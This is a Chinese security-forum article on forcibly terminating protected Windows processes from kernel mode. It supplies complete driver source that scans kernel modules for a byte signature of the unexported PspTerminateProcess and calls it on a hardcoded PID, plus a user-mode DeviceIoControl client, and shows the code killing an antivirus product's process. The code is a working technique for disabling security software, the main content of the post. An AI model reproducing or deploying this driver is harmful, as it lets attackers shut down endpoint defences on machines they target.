浅谈进程强杀

0收藏

0点赞

浏览量:184

2022-03-04

举报

0x00前言

我们知道在windows操作系统里面有ring0跟ring3的概念(ring1、ring2在windows中并未使用),因为ring0的特权级别是比ring3高的,那么我们肯定不能在ring3调用windows提供的api杀死ring0特权级别的进程,那么这时候我们就需要使用的ring0的函数来强行结束一些处于ring0级别的进程。

0x01测试

我们首先打开PCHunter32.exe看一下,应用层是不能够访问的,我们知道可以在cmd里面使用taskkill命令来结束进程,但这种方式对ring0特权级别的程序并不适用。

看一下PCHunter32.exe的PID,尝试使用taskkill命令关闭发现拒绝访问

用任务管理器也是同样拒绝访问

0x02 ZwTerminateProcess

ZwTerminateProcess例程终止一个进程及其所有线程,它是一个ring0函数,结构及参数如下

  1. NTSYSAPI NTSTATUS ZwTerminateProcess(
  2. [in, optional] HANDLE ProcessHandle,
  3. [in] NTSTATUS ExitStatus
  4. );

在这个函数里面只需要传入进程句柄和NTSTATUS值就可以杀死一个进程,但是这里又有一个问题,如果我们想利用这个函数去kill掉一个杀软,那么杀软就直接让我们宰割吗,当然不会。

我们能知道这个内核的函数,那么杀软肯定也知道,所以在ring0层面下,杀软将这个内核函数hook掉,如果发现有调用这个函数kill掉自己的企图,还是会拒绝。

0x03 PspTerminateProcess

这个函数就有意思了,在msdn里面居然没有找到这个函数,那么是不是我们搞错了呢?

遇事不决找Windbg老师看一下有没有这个结构就知道了,当然是有这个函数的,那为什么在msdn里面找不到呢?

WDK说明文档中只包含了内核模块导出的函数,对于未导出的函数,则不能直接使用。

如果要使用未导出的函数,则有两种方法来使用:

  1. 暴力搜索,提取该函数的特征码,全盘搜索。
  2. 如果有已文档化的函数调用了PspTerminateProcess,那我们就可以通过指针加偏移的方式获取到他的地址,同样可以调用。

那么我们要想全盘搜索,肯定要先找到内核模块,每个内核模块都有一个对应的结构体,来描述这个模块在内核中的:位置、大小、名称等等。DriverEntry 的第一个参数就是这个结构体。

主要关注DriverSizeDriverName这两个参数,DriverSize主要是表示驱动的大小,DriverName为驱动的名称

编写一个驱动输出driver的地址

  1. #include <ntddk.h>
  2. VOID DriverUnload(PDRIVER_OBJECT driver)
  3. {
  4. DbgPrint("Driver unload successfully!\r\n");
  5. }
  6. NTSTATUS DriverEntry(PDRIVER_OBJECT driver, PUNICODE_STRING reg_path)
  7. {
  8. DbgPrint("注册表路径:%wZ 地址:%x Hello world!", reg_path, driver);
  9. DbgPrint("%x", driver);
  10. driver->DriverUnload = DriverUnload;
  11. return STATUS_SUCCESS;
  12. }

部署一下得到地址为85e17030

然后在DRIVER_OBJECT结构后面加上地址即可得到我们自己驱动的详细信息

  1. kd> dt _DRIVER_OBJECT 85e17030

通过 _DRIVER_OBJECT 结构体中 0x014的偏移有一个成员,DriverSection 则可以实现对内核模块的遍历。DriverSection 是一个指针,实际上是对应着一个结构体:_LDR_DATA_TABLE_ENTRY

看一下_LDR_DATA_TABLE_ENTRY的结构

  1. kd> dt _LDR_DATA_TABLE_ENTRY

加上地址即可得到模块的详细信息

通过InLoadOrderLinks可以查询到其他内核模块的信息。依此类推,可以获取到其他所有的内核模块。

说完了怎样搜寻模块,再来看看怎么找特征码,首先定位到函数。这种mov、push指令因为可能每个模块都会有,所以不能当作特征码,也不能够选重定位的数据当作特征码。

从中挑选如下代码

  1. 805d3487 56 push esi
  2. 805d3488 64a124010000 mov eax,dword ptr fs:[00000124h]
  3. 805d348e 8b7508 mov esi,dword ptr [ebp+8]
  4. 805d3491 3b7044 cmp esi,dword ptr [eax+44h]
  5. 805d3494 7507 jne nt!PspTerminateProcess+0x1b (805d349d)
  6. 805d3496 b80d0000c0 mov eax,0C000000Dh
  7. 805d349b eb5a jmp nt!PspTerminateProcess+0x75 (805d34f7)
  8. 805d349d 57 push edi

提取出的相应特征码如下

  1. UCHAR szSpecialCode[] = {0x56, 0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, 0x8B,
  2. 0x75, 0x08, 0x3B, 0x70, 0x44, 0x75, 0x07, 0xB8,
  3. 0x0D, 0x00, 0x00, 0xC0, 0xEB, 0x5A, 0x57 };

那么编写代码,通过特征码定位到PspTerminateProcess函数来杀死进程

  1. #include <ntifs.h>
  2. typedef struct _LDR_DATA_TABLE_ENTRY
  3. {
  4. LIST_ENTRY InLoadOrderLinks;
  5. LIST_ENTRY InMemoryOrderLinks;
  6. LIST_ENTRY InInitializationOrderLinks;
  7. PVOID DllBase;
  8. PVOID EntryPoint;
  9. UINT32 SizeOfImage;
  10. UNICODE_STRING FullDllName;
  11. UNICODE_STRING BaseDllName;
  12. UINT32 Flags;
  13. UINT16 LoadCount;
  14. UINT16 TlsIndex;
  15. LIST_ENTRY HashLinks;
  16. PVOID SectionPointer;
  17. UINT32 CheckSum;
  18. UINT32 TimeDateStamp;
  19. PVOID LoadedImports;
  20. PVOID EntryPointActivationContext;
  21. PVOID PatchInformation;
  22. } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
  23. typedef NTSTATUS(*pfnPspTerminateProcess)(PEPROCESS pEprocess, NTSTATUS ExitCode);
  24. VOID DriverUnload(IN PDRIVER_OBJECT driverObject); //卸载驱动
  25. PVOID SearchFunction(PUCHAR DllBase, UINT32 SizeOfImage); // 查找模块中匹配特征码
  26. ULONG g_uPID = 1492; // 要关闭的进程PID
  27. // 特征码
  28. UCHAR g_szSpecialCode[] = {
  29. 0x56, 0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, 0x8B,
  30. 0x75, 0x08, 0x3B, 0x70, 0x44, 0x75, 0x07, 0xB8,
  31. 0x0D, 0x00, 0x00, 0xC0, 0xEB, 0x5A, 0x57 };
  32. // 特征码长度
  33. UINT32 g_uSpecialCodeLen = sizeof(g_szSpecialCode);
  34. NTSTATUS DriverEntry(IN PDRIVER_OBJECT driverObject, IN PUNICODE_STRING registryPath)
  35. {
  36. NTSTATUS status = STATUS_SUCCESS;
  37. PLDR_DATA_TABLE_ENTRY pLdrDataTableEntry = NULL;
  38. pfnPspTerminateProcess pPspTerminateProcess = NULL;
  39. PEPROCESS pEprocess = NULL;
  40. DbgPrint("驱动加载完成\r\n");
  41. pLdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)driverObject->DriverSection;
  42. pLdrDataTableEntry = CONTAINING_RECORD(pLdrDataTableEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
  43. pLdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)pLdrDataTableEntry->InLoadOrderLinks.Flink;
  44. do
  45. {
  46. pLdrDataTableEntry = CONTAINING_RECORD(pLdrDataTableEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
  47. // 如果存在则搜索特征码
  48. if (pLdrDataTableEntry->DllBase)
  49. {
  50. pPspTerminateProcess = (pfnPspTerminateProcess)
  51. SearchFunction((PUCHAR)pLdrDataTableEntry->DllBase, pLdrDataTableEntry->SizeOfImage);
  52. }
  53. if (pPspTerminateProcess)
  54. break;
  55. // 遍历
  56. pLdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)pLdrDataTableEntry->InLoadOrderLinks.Flink;
  57. } while ((UINT32)pLdrDataTableEntry != (UINT32)driverObject->DriverSection);
  58. if (pPspTerminateProcess)
  59. {
  60. status = PsLookupProcessByProcessId((HANDLE)g_uPID, &pEprocess);
  61. if (NT_SUCCESS(status))
  62. {
  63. status = pPspTerminateProcess(pEprocess, 0);
  64. if (NT_SUCCESS(status))
  65. {
  66. DbgPrint("使用 PspTerminateProcess 关闭进程成功, PID = %d\r\n", g_uPID);
  67. }
  68. }
  69. else
  70. {
  71. DbgPrint("PsLookupProcessByProcessId Error 0x%X\r\n", status);
  72. }
  73. }
  74. driverObject->DriverUnload = DriverUnload;
  75. return STATUS_SUCCESS;
  76. }
  77. VOID DriverUnload(IN PDRIVER_OBJECT driverObject)
  78. {
  79. DbgPrint("驱动卸载完成\r\n");
  80. }
  81. PVOID SearchFunction(PUCHAR DllBase, UINT32 SizeOfImage)
  82. {
  83. DbgPrint("Here is MemorySearch , length is : %d\r\n", SizeOfImage);
  84. PVOID pFuncAddr = NULL;
  85. UINT32 uEnd = (UINT32)DllBase + SizeOfImage - g_uSpecialCodeLen; // 减去特征码后的长度
  86. UINT32 i = 0;
  87. BOOLEAN bOk = TRUE;
  88. while ((UINT32)DllBase <= uEnd)
  89. {
  90. bOk = TRUE;
  91. for (i = 0; i < g_uSpecialCodeLen; i++)
  92. {
  93. if (!MmIsAddressValid(&DllBase[i]) || DllBase[i] != g_szSpecialCode[i])
  94. {
  95. bOk = FALSE;
  96. break;
  97. }
  98. }
  99. if (bOk)
  100. {
  101. pFuncAddr = (PVOID)(DllBase - 5);
  102. DbgPrint("找到特征码,内存地址为%p\r\n", pFuncAddr);
  103. break;
  104. }
  105. DllBase++;
  106. }
  107. return pFuncAddr;
  108. }

编译之后生成.sys文件,我们再来关闭一下PCHunter32.exe,关闭成功

再试下强制kill某绒,这里有三个进程,用HipsMain.exe来进行尝试

演示效果如下

也可以利用ring3常规方式传输数据到ring0的方式结束进程,ring3层代码如下

  1. // r3tor0killer.cpp : Defines the entry point for the console application.
  2. //
  3. #include "stdafx.h"
  4. #include <Windows.h>
  5. #include <stdio.h>
  6. #include <stdlib.h>
  7. #include <winioctl.h>
  8. #define SYMBOLICLINK_NAME L"\\\\.\\HbgDevLnk"
  9. #define OPER1 CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS)
  10. #define OPER2 CTL_CODE(FILE_DEVICE_UNKNOWN,0x900,METHOD_BUFFERED,FILE_ANY_ACCESS)
  11. #define IN_BUFFER_MAXLENGTH 4
  12. #define OUT_BUFFER_MAXLENGTH 4
  13. int main()
  14. {
  15. // 获取设备句柄
  16. HANDLE hDevice =CreateFileW(SYMBOLICLINK_NAME, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  17. DWORD dwError = GetLastError();
  18. if (hDevice == INVALID_HANDLE_VALUE)
  19. {
  20. printf("获取设备句柄失败 %d\n", dwError); // 如果返回1,在驱动中指定 IRP_MJ_CREATE 处理函数
  21. getchar();
  22. return 1;
  23. }
  24. else
  25. {
  26. printf("获取设备句柄成功 \n");
  27. }
  28. // 测试通信
  29. DWORD dwInBuffer = 0x850;
  30. DWORD dwOutBuffer = 0;
  31. DWORD dwOut;
  32. DeviceIoControl(hDevice, OPER2, &dwInBuffer,
  33. IN_BUFFER_MAXLENGTH,
  34. &dwOutBuffer,
  35. OUT_BUFFER_MAXLENGTH, &dwOut, NULL);
  36. printf("dwOutBuffer: %08X dwOut: %08X\n", dwOutBuffer, dwOut);
  37. // 关闭设备
  38. CloseHandle(hDevice);
  39. return 0;
  40. }

实现效果如下

这里启动驱动并在ring3去连接设备,可以看到从ring3返回了信息到了控制台,可以证明连接设备成功

可以看到已经成功kill掉了某绒进程


(来源:奇安信攻防社区)

(原文链接:https://forum.butian.net/share/1330

发表评论

点击排行

钓鱼邮件-如何快速成为钓鱼达人

一、前言在大型企业边界安全做的越来越好的情况下,不管是 APT 攻击还是红蓝对抗演练,钓鱼邮件攻击使用的...

【渗透实战系列】| 1 -一次对跨境赌博类APP的渗透实战(getshell并获得全部数据)

本次渗透实战主要知识点:1.app抓包,寻找后台地址2.上传绕过,上传shell3.回shell地址的分析4.中国蚁剑工...

HTTPS - 如何抓包并破解 HTTPS 加密数据?

HTTPS 在握手过程中,密钥规格变更协议发送之后所有的数据都已经加密了,有些细节也就看不到了,如果常规的...

无线电安全攻防之GPS定位劫持

一、需要硬件设备HackRFHackRF 连接数据线外部时钟模块(TCXO 时钟模块)天线(淘宝套餐中的 700MHz-2700MH...

记一次Fastadmin后台getshell的渗透记录

1.信息搜集先来看看目标站点的各种信息后端PHP,前端使用layui,路由URL规则看起来像ThinkPHP,那自然想到...

华为防火墙实战配置教程,太全了

防火墙是位于内部网和外部网之间的屏障,它按照系统管理员预先定义好的规则来控制数据包的进出。防火墙是系...

ADCS系列之ESC1、ESC8复现

对原理感兴趣的可以去https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf看原文,这里只...

【干货分享】利用MSF上线断网主机的思路分享

潇湘信安&nbsp;Author 3had0w潇湘信安一个不会编程、挖SRC、代码审计的安全爱好者,主要分享一些安全经验、...

扫描二维码下载APP